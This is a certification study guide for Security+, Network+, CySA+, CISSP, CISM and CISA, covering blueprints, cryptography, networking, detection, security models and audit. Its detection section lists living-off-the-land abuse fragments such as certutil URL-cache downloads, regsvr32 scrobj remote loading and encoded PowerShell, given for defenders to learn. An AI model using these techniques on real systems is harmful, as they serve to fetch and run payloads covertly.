# Global Cybersecurity & InfoSec Certifications Guide: CompTIA Security+ (SY0-701), Network+ (N10-009), CySA+ (CS0-003), ISC2 CISSP & ISACA CISM / CISA

> Comprehensive technical study guide for the world's top cybersecurity and IT audit certifications: CompTIA Security+ (SY0-701), Network+ (N10-009), CySA+ (CS0-003), ISC2 CISSP (CAT 2024 weights), and ISACA CISM & CISA.

- **Canonical URL:** https://flashcards.world/guides/en/comptia-security-plus-sy0-701-cissp-cism-cisa-cysa-guide-en/
- **Markdown URL:** https://flashcards.world/guides/en/comptia-security-plus-sy0-701-cissp-cism-cisa-cysa-guide-en.md
- **Topic / Curriculum:** Global Cybersecurity & InfoSec Certifications — CompTIA Security+ (SY0-701), Network+ (N10-009) & CySA+ (CS0-003), ISC2 CISSP (CAT) & ISACA CISM / CISA
- **Language:** en
- **Last Updated:** 2026-11-11

# Global Cybersecurity & InfoSec Certifications Guide: CompTIA Security+ (SY0-701), Network+ (N10-009), CySA+ (CS0-003), ISC2 CISSP & ISACA CISM / CISA

This textbook-grade reference synthesizes the official 2024–2026 examination blueprints, cryptographic standards, network protocols, SOC detection frameworks, formal security models, and IT audit methodologies across the six most widely recognized global cybersecurity and information systems assurance certifications:

1. **Foundational Network & Security Engineering**: **CompTIA Network+ (`N10-009`)** and **CompTIA Security+ (`SY0-701`)**.
2. **Defensive Security Operations & Threat Hunting**: **CompTIA Cybersecurity Analyst (`CySA+ CS0-003`)**.
3. **Enterprise Security Architecture & Senior Leadership**: **ISC2 Certified Information Systems Security Professional (`CISSP` CAT — April 2024 Refresh)**.
4. **Information Security Governance & IT Assurance Auditing**: **ISACA Certified Information Security Manager (`CISM`)** and **ISACA Certified Information Systems Auditor (`CISA` — August 2024 Job Practice)**.

---

## 1. Official Exam Blueprints, Scoring Scales & Domain Weight Matrix

```mermaid
flowchart LR
    subgraph CompTIA["CompTIA Core & Cyber Defense Track"]
        NET["Network+ N10-009 (Max 90 Qs, 90 Min, 720/900)"]
        SEC["Security+ SY0-701 (Max 90 Qs, 90 Min, 750/900)"]
        CYSA["CySA+ CS0-003 (Max 85 Qs, 165 Min, 750/900)"]
        NET --> SEC --> CYSA
    end

    subgraph Leadership["ISC2 & ISACA Architecture, Governance & Audit"]
        CISSP["ISC2 CISSP CAT (100–150 Qs, 180 Min, 700/1000)"]
        CISM["ISACA CISM (150 MCQs, 240 Min, 450/800)"]
        CISA["ISACA CISA (150 MCQs, 240 Min, 450/800)"]
    end

    CYSA --> CISSP
    SEC --> CISA
    CISA <--> CISM
```

| Certification | Exam Code / Version | Format & Question Count | Duration | Passing Score Scale | Official Domain Weights & Experience Requirement |
| :--- | :--- | :--- | :--- | :--- | :--- |
| **CompTIA Security+** | `SY0-701` (V7) | Max **90 items** (MCQs + PBQs) | **90 min** | **750** / 100–900 | **D1** General Concepts (12%), **D2** Threats/Vulns/Mitigations (22%), **D3** Security Architecture (18%), **D4** Security Operations (28%), **D5** Program Management & Oversight (20%) |
| **CompTIA Network+** | `N10-009` (V9) | Max **90 items** (MCQs + PBQs) | **90 min** | **720** / 100–900 | **D1** Networking Concepts (23%), **D2** Implementation (20%), **D3** Operations (19%), **D4** Network Security (14%), **D5** Network Troubleshooting (24%) |
| **CompTIA CySA+** | `CS0-003` (V3) | Max **85 items** (MCQs + PBQs) | **165 min** | **750** / 100–900 | **D1** Security Operations (33%), **D2** Vulnerability Management (30%), **D3** Incident Response & Management (20%), **D4** Reporting & Communication (17%) |
| **ISC2 CISSP** | **CAT** (April 2024 Refresh) | **100–150 adaptive items** (includes 25 unscored) | **180 min** | **700** / 1000 | **D1** Security & Risk Mgmt (16%), **D2** Asset Security (10%), **D3** Security Architecture & Eng (13%), **D4** Comm & Network Security (13%), **D5** IAM (13%), **D6** Assessment & Testing (12%), **D7** SecOps (13%), **D8** Software Dev Security (10%). *Requires 5 yrs paid experience in 2+ domains (1-yr waiver eligible).* |
| **ISACA CISM** | 2022–2026 Blueprint | **150 MCQs** (linear) | **240 min** | **450** / 200–800 | **D1** InfoSec Governance (17%), **D2** InfoSec Risk Management (20%), **D3** InfoSec Program Development & Mgmt (33%), **D4** Incident Management (30%). *Requires 5 yrs InfoSec experience (3+ yrs in management).* |
| **ISACA CISA** | Aug 2024 Job Practice | **150 MCQs** (linear) | **240 min** | **450** / 200–800 | **D1** IS Auditing Process (18%), **D2** Governance & Management of IT (18%), **D3** IS Acquisition, Dev & Implementation (12%), **D4** IS Operations & Business Resilience (26%), **D5** Protection of Information Assets (26%). *Requires 5 yrs IS audit/control/security experience.* |

---

## 2. CompTIA Security+ (`SY0-701`) & Network+ (`N10-009`): Core Architecture, Cryptography & Resilient Networking

### 2.1 Zero Trust Architecture (`NIST SP 800-207`) & SASE / SSE
Traditional perimeter-based "castle-and-moat" networks implicitly trust east-west traffic inside the corporate LAN. **NIST SP 800-207 Zero Trust Architecture (ZTA)** eliminates implicit trust based on network location and separates access control into two planes:

* **Control Plane**:
  * **Policy Engine (PE)**: The "brain" that evaluates dynamic trust algorithms using identity context, MFA assurance (`NIST SP 800-63B`), endpoint posture (EDR/TPM attestation), threat intelligence, and behavioral analytics (UEBA) to issue a permit/deny decision.
  * **Policy Administrator (PA)**: Establishes or tears down the communication path by generating session-specific cryptographic tokens or signaling the enforcement point.
* **Data Plane**:
  * **Policy Enforcement Point (PEP)**: The inline gateway, agent, or reverse proxy that terminates connections, validates PA credentials, and forwards authorized traffic to the protected resource.
* **SASE vs. SSE**: **Security Service Edge (SSE)** unifies **Zero Trust Network Access (ZTNA)**, **Cloud Access Security Broker (CASB)**, **Secure Web Gateway (SWG)**, and **Firewall-as-a-Service (FWaaS)**. **Secure Access Service Edge (SASE)** combines **SSE** with **Software-Defined WAN (SD-WAN)**.

### 2.2 Modern & Post-Quantum Cryptography (`FIPS 203` / `FIPS 204`) & PKI

| Cryptographic Class | Key Algorithms & Standards | Key Sizes / Output | Security Properties & High-Yield Exam Notes |
| :--- | :--- | :--- | :--- |
| **Symmetric AEAD Block/Stream** | **AES-GCM** (`FIPS 197`), **ChaCha20-Poly1305** | 128, 192, or 256-bit keys | **AES-GCM** combines Counter (CTR) mode encryption with a Galois Message Authentication Code (GMAC) tag, delivering parallelizable Confidentiality + Integrity and eliminating **CBC Padding Oracle** attacks. |
| **Classical Asymmetric** | **RSA**, **ECC** (`ECDSA` / `Ed25519`), **ECDHE** | RSA: 2048–4096 bits; ECC: 256–521 bits | **256-bit ECC** provides security equivalent to **3072-bit RSA** at a fraction of CPU/bandwidth cost. **ECDHE** generates ephemeral session keys to guarantee **Perfect Forward Secrecy (PFS)**. |
| **Post-Quantum Crypto (PQC)** | **ML-KEM** (`FIPS 203`), **ML-DSA** (`FIPS 204`), **SLH-DSA** (`FIPS 205`) | Module-Lattice / Hash-Based | Standardized by NIST in August 2024 to defeat quantum **Shor's Algorithm**: **FIPS 203 ML-KEM** (*CRYSTALS-Kyber*) handles key encapsulation; **FIPS 204 ML-DSA** (*CRYSTALS-Dilithium*) and **FIPS 205 SLH-DSA** (*SPHINCS+*) handle digital signatures. |
| **Cryptographic Hashing & MAC** | **SHA-256 / SHA-384** (`FIPS 180-4`), **SHA-3** (`FIPS 202`), **HMAC** | 256–512 bit digest | **SHA-2** uses a Merkle-Damgård construction; **SHA-3** uses a **Keccak sponge** construction (immune to length-extension attacks). **HMAC** mixes a secret key with the hash to provide authenticity and integrity. |
| **Password Key Stretching** | **Argon2id**, **bcrypt**, **scrypt**, **PBKDF2** | Unique CSPRNG **Salt** + Work Factor | Unique random **salts** defeat precomputed **rainbow tables**; memory-hard **Argon2id** and work-factor **bcrypt** resist GPU/ASIC brute-force cracking. |

* **PKI & OCSP Stapling**: In a hierarchical Public Key Infrastructure, the **Root CA** stays offline (air-gapped inside a **FIPS 140-3 HSM**) while **Intermediate CAs** issue end-entity leaf X.509 certificates. Standard **CRLs** require heavy client downloads, and traditional **OCSP** forces client browsers to query third-party CA servers (leaking browsing privacy and adding latency). **OCSP Stapling** solves both: the web server periodically queries the CA OCSP responder, caches the signed timestamped status, and "staples" it directly into the `TLS 1.3` handshake.
* **TPM 2.0 vs. HSM**: A **Trusted Platform Module (TPM 2.0)** is a motherboard cryptoprocessor that records boot loader/kernel hashes in **Platform Configuration Registers (PCRs)** for **Measured Boot** and seals Full Disk Encryption (BitLocker/LUKS) keys. A **Hardware Security Module (HSM)** is a tamper-responsive enterprise appliance providing high-speed cryptographic acceleration and centralized key vaulting.

### 2.3 Network+ (`N10-009`) Switching, Routing & Layer 2/3 Hardening
* **OSI Layers 1–4 PDUs**: Layer 1 Physical (**Bits**), Layer 2 Data Link (**Frames** — MAC/LLC/802.1Q), Layer 3 Network (**Packets** — IPv4/IPv6/ICMP/IPsec), Layer 4 Transport (**Segments** for TCP / **Datagrams** for UDP).
* **IEEE 802.1Q & VLAN Hopping Mitigation**: Trunk ports insert a 4-byte `802.1Q` header (12-bit VLAN ID supporting up to 4,094 VLANs). **Double-tagging VLAN hopping** occurs when an attacker's access port belongs to the same VLAN ID as the trunk's untagged **Native VLAN**. Mitigate by disabling Dynamic Trunking Protocol (`switchport nonegotiate`), setting ports explicitly to `switchport mode access`, moving the Native VLAN to an unused dummy ID, and tagging native VLAN traffic on trunks.
* **DHCP Snooping + Dynamic ARP Inspection (DAI)**:
  1. **DHCP Snooping** classifies switch ports as **Trusted** (uplinks to legitimate DHCP servers) or **Untrusted** (access ports), dropping rogue `DHCPOFFER`/`DHCPACK` messages on untrusted ports and recording valid `MAC + IP + VLAN + Port` leases in the **DHCP Snooping Binding Database**.
  2. **Dynamic ARP Inspection (DAI)** intercepts ARP packets on untrusted ports, validates the sender's MAC-to-IP claim against the DHCP Snooping Binding Database, and drops forged **ARP poisoning (MITM)** replies.
* **Routing Protocols (`OSPF` vs. `BGP`) & FHRPs**:
  * **OSPF (Open Shortest Path First)**: Link-State **Interior Gateway Protocol (IGP)** using **Dijkstra's SPF algorithm** with interface cost based on bandwidth (Cisco Administrative Distance `AD = 110`; Area 0 backbone).
  * **BGP (Border Gateway Protocol)**: Path-Vector **Exterior Gateway Protocol (EGP)** operating over **TCP port 179** (`eBGP AD = 20`, `iBGP AD = 200`), selecting routes across Autonomous Systems using attributes (`Weight`, `Local Preference`, `AS-Path`, `MED`) and secured against route hijacking via **RPKI (Resource Public Key Infrastructure)**.
  * **FHRPs (First Hop Redundancy Protocols)**: **VRRP** (open standard), **HSRP** (Cisco active/standby), and **GLBP** (active/active load balancing) present a shared Virtual IP (VIP) and Virtual MAC so hosts retain default-gateway connectivity if a primary router fails.
* **DNSSEC vs. DoH / DoT**: **DNSSEC** cryptographically signs DNS resource records (`RRSIG`, `DNSKEY`, `DS` parent delegation, `NSEC3`) to guarantee **origin authentication and data integrity** against cache poisoning (it does *not* encrypt queries). **DNS-over-TLS (`DoT`, TCP 853)** and **DNS-over-HTTPS (`DoH`, TCP 443)** encrypt the transport channel between stub client and recursive resolver for **confidentiality**.

### 2.4 Quantitative Risk Analysis & Incident Response (`NIST SP 800-61` & `RFC 3227`)
* **Quantitative Risk Formulas**:
  $$\text{SLE (Single Loss Expectancy)} = \text{AV (Asset Value)} \times \text{EF (Exposure Factor)}$$
  $$\text{ALE (Annualized Loss Expectancy)} = \text{SLE} \times \text{ARO (Annualized Rate of Occurrence)}$$
  $$\text{Annual Net Value of Control (safeguard ROI)} = \text{ALE}_{\text{prior}} - \text{ALE}_{\text{post}} - \text{ACS (Annualized Cost of Safeguard)}$$
* **RFC 3227 Digital Forensics Order of Volatility** (collect from most volatile to least volatile):
  1. **CPU Registers & L1/L2/L3 Cache** (nanoseconds)
  2. **System RAM, Kernel Routing/ARP Tables & Running Processes** (capture with LiME / WinPmem)
  3. **Swap Space / Paging Files & Active Network Connections** (`ss -tulpan`, `netstat -ano`)
  4. **Persistent Local Disks (NVMe/SSD/HDD)** (acquire bit-stream `dd`/`E01` image through a hardware write-blocker and verify `SHA-256` hashes)
  5. **Remote Central Logs (SIEM/Syslog) & Archival Backup Media**

---

## 3. CompTIA CySA+ (`CS0-003`): SOC Detection Engineering, Threat Intelligence & Vulnerability Management

### 3.1 Threat Intelligence Frameworks: MITRE ATT&CK, Kill Chain, Diamond Model & Pyramid of Pain
* **Lockheed Martin Cyber Kill Chain (7 Stages)**: `1. Reconnaissance` $\rightarrow$ `2. Weaponization` $\rightarrow$ `3. Delivery` $\rightarrow$ `4. Exploitation` $\rightarrow$ `5. Installation` $\rightarrow$ `6. Command & Control (C2)` $\rightarrow$ `7. Actions on Objectives`. Excellent for modeling perimeter-focused malware delivery, but weak at modeling insider threats or post-exploitation lateral movement.
* **MITRE ATT&CK Enterprise Matrix (14 Tactics)**: Models adversary behavior across **Tactics** (*why* — e.g., `TA0006 Credential Access`, `TA0008 Lateral Movement`), **Techniques/Sub-techniques** (*how* — e.g., `T1003.001 OS Credential Dumping: LSASS Memory`), and **Procedures** (*specific tool execution*).
* **Diamond Model of Intrusion Analysis**: Maps every intrusion event across four core vertices—**Adversary**, **Capability**, **Infrastructure**, and **Victim**—linked by two primary axes: the **Socio-Political Axis** (*Adversary $\leftrightarrow$ Victim*) and the **Technical Axis** (*Capability $\leftrightarrow$ Infrastructure*).
* **David Bianco's Pyramid of Pain** (bottom to apex): `Hash Values (Trivial)` $\rightarrow$ `IP Addresses (Easy)` $\rightarrow$ `Domain Names (Simple)` $\rightarrow$ `Network/Host Artifacts (Annoying)` $\rightarrow$ `Tools (Challenging)` $\rightarrow$ `TTPs (Tough!)`. Detecting behavioral **TTPs** at the apex forces adversaries to abandon or rewrite their operational tradecraft from scratch.
* **Automated CTI Sharing & FIRST TLP 2.0**: **STIX 2.1** structures threat objects (Indicators, Threat Actors, TTPs) in JSON graphs; **TAXII 2.1** transports STIX bundles over HTTPS REST APIs. **FIRST Traffic Light Protocol (TLP 2.0)** governs information sharing boundaries:
  * `TLP:RED`: Named individual recipients only (cannot be shared further).
  * `TLP:AMBER+STRICT`: Restricted strictly to the receiving organization only.
  * `TLP:AMBER`: Receiving organization plus its clients/partners on a strict need-to-know basis to protect themselves.
  * `TLP:GREEN`: Community-wide sharing among peers/ISACs (not public internet).
  * `TLP:CLEAR` (replaces legacy `TLP:WHITE`): Unlimited public distribution.

### 3.2 CVSS v3.1 / v4.0, EPSS, CISA KEV & SCAP Architecture
* **CVSS v3.1 Base Vector (`AV/AC/PR/UI/S/C/I/A`)**:
  * **Exploitability**: **Attack Vector (`AV`)** = Network (`N`), Adjacent (`A`), Local (`L`), Physical (`P`); **Attack Complexity (`AC`)** = Low (`L`), High (`H`); **Privileges Required (`PR`)** = None (`N`), Low (`L`), High (`H`); **User Interaction (`UI`)** = None (`N`), Required (`R`).
  * **Scope (`S`)**: Unchanged (`U`) vs. Changed (`C` — vulnerability in one software authority impacts another, such as VM escape or XSS/Log4Shell compromising the host).
  * **Impact**: **Confidentiality (`C`)**, **Integrity (`I`)**, **Availability (`A`)** = None (`N`), Low (`L`), High (`H`).
* **CVSS v4.0 Enhancements**: Replaces the single Scope flag with explicit **Vulnerable System (`VC/VI/VA`)** and **Subsequent System (`SC/SI/SA`)** impact metrics, adds **Attack Requirements (`AT`)**, and formalizes metric combinations: **CVSS-B** (Base), **CVSS-BT** (Base + Threat), **CVSS-BE** (Base + Environmental), and **CVSS-BTE** (Base + Threat + Environmental).
* **Risk-Based Prioritization (`CVSS` + `EPSS` + `CISA KEV`)**: Because CVSS Base measures technical *severity* rather than *likelihood*, SOC vulnerability analysts combine **CVSS** with FIRST's **Exploit Prediction Scoring System (EPSS)** (0.00–1.00 probability of wild exploitation within 30 days) and CISA's **Known Exploited Vulnerabilities (KEV)** catalog.
* **NIST SCAP Components**: **CVE** (vulnerability IDs), **CPE** (standardized vendor/product/version strings), **XCCDF** (security configuration benchmark checklists), and **OVAL** (XML declarative machine-state testing language).

### 3.3 Network, Endpoint & Memory Detection Engineering (`Zeek`, `Suricata`, `YARA`, `Sigma`, `Volatility`)
* **Wireshark vs. Zeek vs. Suricata**: **Wireshark/tshark** performs full-packet interactive dissection (`PCAP`); **Zeek** converts network streams into high-context behavioral transaction logs (`conn.log`, `dns.log`, `http.log`, `ssl.log`, `files.log`) correlated via **Community ID** flow hashing; **Suricata / Snort** evaluates real-time signature rules (`alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"..."; flow:established,to_server; content:"..."; pcre:"/.../"; sid:100001; rev:1;)`).
* **YARA vs. Sigma**: **YARA** hunts malware in files and RAM dumps using `meta`, `strings` (hex/text/regex), and boolean `condition` blocks. **Sigma** is a vendor-neutral YAML format for SIEM log events that compiles into Splunk SPL, Elastic KQL/EQL, or Microsoft Sentinel KQL.
* **High-Yield Windows Event IDs & LOLBins**:
  * **Windows Security Log**: `4624` (Successful Logon — Type 2 Interactive, Type 3 Network/SMB, Type 10 RDP), `4625` (Failed Logon), `4672` (Special Admin Privileges Assigned), `4688` (Process Creation with command-line auditing), `4697`/`7045` (Service Installed), `4698` (Scheduled Task Created), `4720` (User Account Created), `1102` (Audit Log Cleared).
  * **Sysmon Event IDs**: `1` (Process Create + hashes/parent), `3` (Network Connection), `7` (Image/DLL Loaded), `8` (CreateRemoteThread), `10` (ProcessAccess — e.g., `lsass.exe` credential dumping), `11` (FileCreate), `12/13` (Registry Persistence), `22` (DNSEvent).
  * **Living-off-the-Land Binaries (LOLBins / GTFOBins)**: Signed native OS tools abused for proxy execution or downloading payloads: `powershell.exe -enc`, `certutil.exe -urlcache -split -f`, `mshta.exe`, `rundll32.exe`, `regsvr32.exe /s /n /u /i:http... scrobj.dll`, `wmic.exe`, `bitsadmin.exe` (Windows); `curl`, `wget`, `awk`, `python`, `find -exec`, `tar`, `LD_PRELOAD` (Linux).

---

## 4. ISC2 CISSP (CAT): Formal Security Models, Federated Identity, BCP/DRP & DevSecOps

### 4.1 Formal Security State-Machine & Lattice Models (CISSP Domain 3)

| Security Model | Primary Goal | Core Mathematical / Operational Rules | Real-World & Exam Application |
| :--- | :--- | :--- | :--- |
| **Bell-LaPadula** | **Confidentiality** (Military Lattice) | **Simple Security ($ss$-property)**: *No Read Up*<br>**\*-Property (Star Property)**: *No Write Down*<br>**Strong Tranquility**: Labels never change during operation | Prevents classified secrets (`Top Secret`) from leaking to lower clearances (`Secret`/`Unclassified`). Does **not** protect data integrity. |
| **Biba** | **Integrity** (Inverted Lattice) | **Simple Integrity**: *No Read Down*<br>**\*-Integrity**: *No Write Up*<br>**Invocation Property**: *No Invoke Up* | Prevents untrusted lower-integrity data from contaminating high-integrity processes/data. Does **not** address confidentiality. |
| **Clark-Wilson** | **Commercial Integrity** | **UDIs** (untrusted input) $\rightarrow$ **TPs** (Transformation Procedures) $\rightarrow$ **CDIs** (Constrained Data Items) audited by **IVPs** (Integrity Verification Procedures) | Enforces **Well-Formed Transactions** via **Access Triples** (`User, TP, CDI`) and mandatory **Separation of Duties (SoD)** in financial/ERP systems. |
| **Brewer-Nash** (*Chinese Wall*) | **Conflict of Interest (COI)** | Dynamically updates access permissions based on the subject's prior read history across **Conflict of Interest (COI) classes**. | Once a consultant reads confidential M&A data for *Bank A*, they are dynamically blocked from reading data for competitor *Bank B*. |
| **Graham-Denning & Take-Grant** | **Access Matrix & Graph Rights** | **Graham-Denning**: 8 primitive protection actions (create/delete subject/object, read/grant/delete/transfer access).<br>**Take-Grant**: 4 directed graph rules (`take`, `grant`, `create`, `remove`). | Models how access rights propagate across subjects and objects in operating system access control matrices. |
| **Non-Interference & Goguen-Meseguer** | **Covert Channel Prevention** | Actions performed by a high-level subject (`High`) must never alter the system state or timing observable by a lower-level subject (`Low`). | Defends against **Covert Storage Channels** (shared resource attributes) and **Covert Timing Channels** (modulated CPU/I/O timing). |

* **TCB, Reference Monitor & Common Criteria (`ISO/IEC 15408`)**:
  * The **Trusted Computing Base (TCB)** is the total combination of hardware, firmware (TPM/UEFI), and Ring 0 OS kernel components that enforce security policy. The **Reference Monitor** is an abstract concept (implemented by the **Security Kernel**) that mediates all subject-to-object access and must satisfy three properties: **1. Complete Mediation (always invoked)**, **2. Tamperproof (isolated)**, and **3. Verifiable (small enough to test exhaustively)**.
  * **Common Criteria (`ISO/IEC 15408`)**: Evaluates a **Target of Evaluation (TOE — the product)** against a customer's vendor-neutral **Protection Profile (PP)** and the vendor's implementation-specific **Security Target (ST)** across **Evaluation Assurance Levels (`EAL1` Functionally Tested $\rightarrow$ `EAL4` Methodically Designed, Tested & Reviewed $\rightarrow$ `EAL7` Formally Verified Design & Tested)**.

### 4.2 Network Encryption (`IPsec` / `TLS 1.3`) & Enterprise IAM (`Kerberos` / `SAML` / `OIDC`)
* **IPsec Suite (`AH` vs. `ESP`, `Transport` vs. `Tunnel`, `IKEv2`)**:
  * **Authentication Header (`AH`, IP Protocol 51)**: Authenticates the *entire* IP packet including immutable fields of the outer IP header. Provides **zero encryption** and **breaks across NAT** because NAT rewrites source IP addresses.
  * **Encapsulating Security Payload (`ESP`, IP Protocol 50)**: Provides **confidentiality (AES-GCM), integrity, origin authentication, and anti-replay**, and supports **NAT-Traversal (`NAT-T`, UDP 4500)**.
  * **Transport Mode vs. Tunnel Mode**: **Transport Mode** encrypts only the IP payload between end hosts (preserving the original IP header). **Tunnel Mode** encapsulates the *entire* original IP packet inside a brand-new outer IP header between VPN gateways.
  * **IKEv2 (`UDP 500 / 4500`)**: Establishes IPsec Security Associations (`SAs`) in 4 messages (2 round trips): Phase 1 `IKE_SA_INIT` negotiates Diffie-Hellman keys, and Phase 2 `IKE_AUTH` mutually authenticates peers and creates the Child ESP SA.
* **TLS 1.3 (`RFC 8446`) 1-RTT Handshake**: Drops static RSA key exchange, CBC mode, SHA-1, RC4, and compression. Mandates **Ephemeral Diffie-Hellman (`ECDHE`)** and **AEAD** ciphers, bundling key shares inside the initial `ClientHello` to complete handshakes in **1-RTT** (or **0-RTT** session resumption) while encrypting all handshake messages after `ServerHello`.
* **Federated Identity & SSO (`Kerberos v5`, `SAML 2.0`, `OAuth 2.0`, `OIDC`)**:

| Protocol | Format & Ports | Primary Function | Architecture Flow & Security Controls |
| :--- | :--- | :--- | :--- |
| **Kerberos v5** | Binary Tickets (`UDP/TCP 88`) | Internal Domain SSO Authentication (Active Directory) | **1. AS Exchange**: Client authenticates to KDC **Authentication Server (AS)** $\rightarrow$ receives **TGT** (`Ticket-Granting Ticket`).<br>**2. TGS Exchange**: Client sends TGT to **Ticket-Granting Server (TGS)** $\rightarrow$ receives **Service Ticket**.<br>**3. AP Exchange**: Client presents Service Ticket to target service. *Requires strict `< 5 min` NTP clock sync.* |
| **SAML 2.0** | XML Digital Signatures (`HTTPS`) | Cross-Domain Web Federated SSO (**Authentication**) | **Identity Provider (IdP)** issues a signed XML `<Assertion>` to the **Service Provider (SP)**. Always prefer **SP-Initiated** flows (which bind the response to an `InResponseTo` request ID) over **IdP-Initiated** flows (which risk replay/CSRF). |
| **OAuth 2.0** | JSON / REST (`HTTPS`) | Delegated API **Authorization** (*not* Authentication) | **Resource Owner** authorizes a **Client** to receive an `access_token` from the **Authorization Server** to call a **Resource Server** API. Public/mobile clients must enforce **Authorization Code Flow + PKCE** (`Proof Key for Code Exchange`). |
| **OpenID Connect (OIDC)** | JSON Web Token (`JWT`) atop OAuth 2.0 | Modern Mobile/SPA Federated **Authentication** | Adds a cryptographically signed (`RS256`/`ES256`) **`id_token` JWT** containing user identity claims (`sub`, `iss`, `aud`, `exp`) on top of the OAuth 2.0 flow. |

* **Biometric Error Rates**: **Type I Error (`FRR` — False Rejection Rate)** rejects a valid user (usability failure). **Type II Error (`FAR` — False Acceptance Rate)** accepts an unauthorized impostor (**critical security failure**). The **Crossover Error Rate (`CER` / `EER`)** where $\text{FRR} = \text{FAR}$ measures overall biometric device accuracy (a lower CER indicates a superior biometric system).

### 4.3 Media Sanitization (`NIST SP 800-88`), SOC Reports, BCP/DRP Metrics & DevSecOps
* **NIST SP 800-88 Rev. 1 Media Sanitization**:
  * **Clear**: Logical overwriting across addressable storage locations; protects against standard keyboard/OS recovery (suitable for internal redeployment).
  * **Purge**: Physical or cryptographic techniques (**Degaussing** for magnetic tapes/HDDs; **Cryptographic Erase [CE]** destroying the Media Encryption Key on Self-Encrypting SSDs) that render data unrecoverable even against state-of-the-art laboratory attacks. *(Exam trap: Magnetic degaussing does **not** work on SSDs/flash media!)*
  * **Destroy**: Physical disintegration, incineration, pulverization, or shredding to $\le 2\text{ mm}$ particles (mandatory for failed classified SSDs).
* **AICPA Third-Party Audit Reports (`SOC 1`, `SOC 2`, `SOC 3`)**:
  * **SOC 1 (SSAE 18 / ISAE 3402)**: Audits service organization **Internal Controls over Financial Reporting (`ICFR`)** for SOX compliance.
  * **SOC 2**: Detailed technical assurance report (restricted under NDA) evaluating the 5 **Trust Services Criteria (`TSC`)**: *Security (Common Criteria), Availability, Processing Integrity, Confidentiality, and Privacy*.
  * **SOC 3**: Public-facing general-use summary seal of a SOC 2 audit (contains no confidential control testing details).
  * **Type I vs. Type II**: **Type I** assesses control *suitability of design at a single point in time*; **Type II** audits *operating effectiveness over a 6- to 12-month period* (always preferred by CISOs and auditors).
* **BCP / DRP Recovery Timeline & Site Readiness**:
  $$\text{RPO (Recovery Point Objective: Max Data Loss Before Outage)} \longleftarrow \text{OUTAGE} \longrightarrow \underbrace{\text{RTO (System Restore)} + \text{WRT (Work Recovery / Data Verification)}}_{\le \text{MTD (Maximum Tolerable Downtime)}}$$
  * **Alternate Sites (Fastest to Slowest RTO)**: **Mirrored / Active-Active Cloud** ($\text{RTO} \approx 0$) $\rightarrow$ **Hot Site** (minutes–hours) $\rightarrow$ **Warm Site** (hours–days; hardware ready, data restored from backups) $\rightarrow$ **Cold Site** (weeks; power/HVAC shell only).
  * **5 DRP Test Types**: `1. Checklist / Read-Through` $\rightarrow$ `2. Structured Walk-Through (Tabletop)` $\rightarrow$ `3. Simulation` $\rightarrow$ `4. Parallel Test` (runs DR site alongside live primary production) $\rightarrow$ `5. Full Interruption Test` (shuts down live primary production—highest operational risk).
* **DevSecOps CI/CD Security Gates & STRIDE**:
  * **SAST** (Static white-box source code/AST scan in IDE/CI) + **SCA** (Software Composition Analysis scanning open-source dependencies/SBOMs) + **DAST** (Dynamic black-box testing against running staging apps) + **IAST** (Interactive runtime instrumentation agent during QA) + **RASP** (Runtime Application Self-Protection blocking live production exploits).
  * **Microsoft STRIDE Threat Mapping**: **S**poofing (*Authentication*), **T**ampering (*Integrity*), **R**epudiation (*Non-Repudiation*), **I**nformation Disclosure (*Confidentiality*), **D**enial of Service (*Availability*), **E**levation of Privilege (*Authorization*).

---

## 5. ISACA CISM & CISA: Enterprise Governance, IT Audit Process & Business Resilience

### 5.1 COBIT 2019, The Three Lines Model & ISO/IEC 27001:2022
* **COBIT 2019 Governance vs. Management Separation**:
  * **Governance (`EDM` — Evaluate, Direct, Monitor)**: Owned by the **Board of Directors**. Sets strategic direction, establishes risk appetite, and monitors executive alignment.
  * **Management (`PBRM`)**: Owned by **Executive Management (CEO/CIO/CISO)** across four domains: **APO** (*Align, Plan, and Organize*), **BAI** (*Build, Acquire, and Implement*), **DSS** (*Deliver, Service, and Support*), and **MEA** (*Monitor, Evaluate, and Assess*).
* **The Three Lines Model**:
  * **1st Line (Business & IT Operations)**: Owns risks day-to-day and executes operational controls.
  * **2nd Line (InfoSec / CISM, Enterprise Risk, Compliance)**: Establishes security policies, monitors KRIs/KPIs, and advises the 1st Line.
  * **3rd Line (Internal Audit / CISA)**: Reports functionally to the **Board Audit Committee** under a formal **Audit Charter**, providing independent, objective assurance. *(Audit Independence Rule: An IS auditor must never design, implement, or manage operational controls they later audit.)*
* **ISO/IEC 27001:2022 ISMS**: Consolidates **93 Annex A controls** into 4 themes (**5. Organizational [37]**, **6. People [8]**, **7. Physical [14]**, **8. Technological [34]**). The **Statement of Applicability (`SoA`)** is the mandatory bridge document linking the Risk Treatment Plan to every included or excluded Annex A control with formal justification.
* **CISM Risk & Performance Metrics**:
  * **Risk Appetite** (strategic board willingness to accept risk) vs. **Risk Tolerance** (tactical acceptable variance per metric) vs. **Risk Capacity** (absolute insolvency threshold).
  * **KRI (Key Risk Indicator)**: Forward-looking, predictive early warning of rising risk exposure.
  * **KPI (Key Performance Indicator)**: Operational measure of internal process/control efficiency.
  * **KGI (Key Goal Indicator)**: Lagging indicator measuring whether the final strategic objective was achieved.

### 5.2 CISA Audit Risk Model, Sampling, CAATs & Database Integrity
* **Audit Risk Model & Testing Types**:
  $$\text{Audit Risk (AR)} = \text{Inherent Risk (IR)} \times \text{Control Risk (CR)} \times \text{Detection Risk (DR)}$$
  * **Compliance Testing**: Tests whether internal controls are operating consistently as designed (*"Are firewall change requests signed by the CAB?"*). Evaluates **Control Risk** using **Attribute Sampling** (or **Stop-or-Go** / **Discovery Sampling**).
  * **Substantive Testing**: Directly tests the accuracy and integrity of transaction balances or system configurations (*"Verify 100% of active firewall rules and dollar balances"*). Reduces **Detection Risk** using **Variable Sampling** or **CAATs**. *(Rule: If Compliance Testing reveals weak internal controls [high CR], the auditor must expand Substantive Testing!)*
* **Evidence Reliability Hierarchy (Strongest $\rightarrow$ Weakest)**:
  `1. Auditor Direct Observation / Re-performance / Independent CAATs Extraction` $\rightarrow$ `2. External Independent Third-Party Confirmation` $\rightarrow$ `3. Internal System/Policy Documentation` $\rightarrow$ `4. Oral Inquiry / Management Self-Assessment`.
* **Earned Value Management (EVM) for IT Project Audits**:
  $$\text{CPI (Cost Performance Index)} = \frac{\text{EV (Earned Value)}}{\text{AC (Actual Cost)}} \qquad \text{SPI (Schedule Performance Index)} = \frac{\text{EV (Earned Value)}}{\text{PV (Planned Value)}}$$
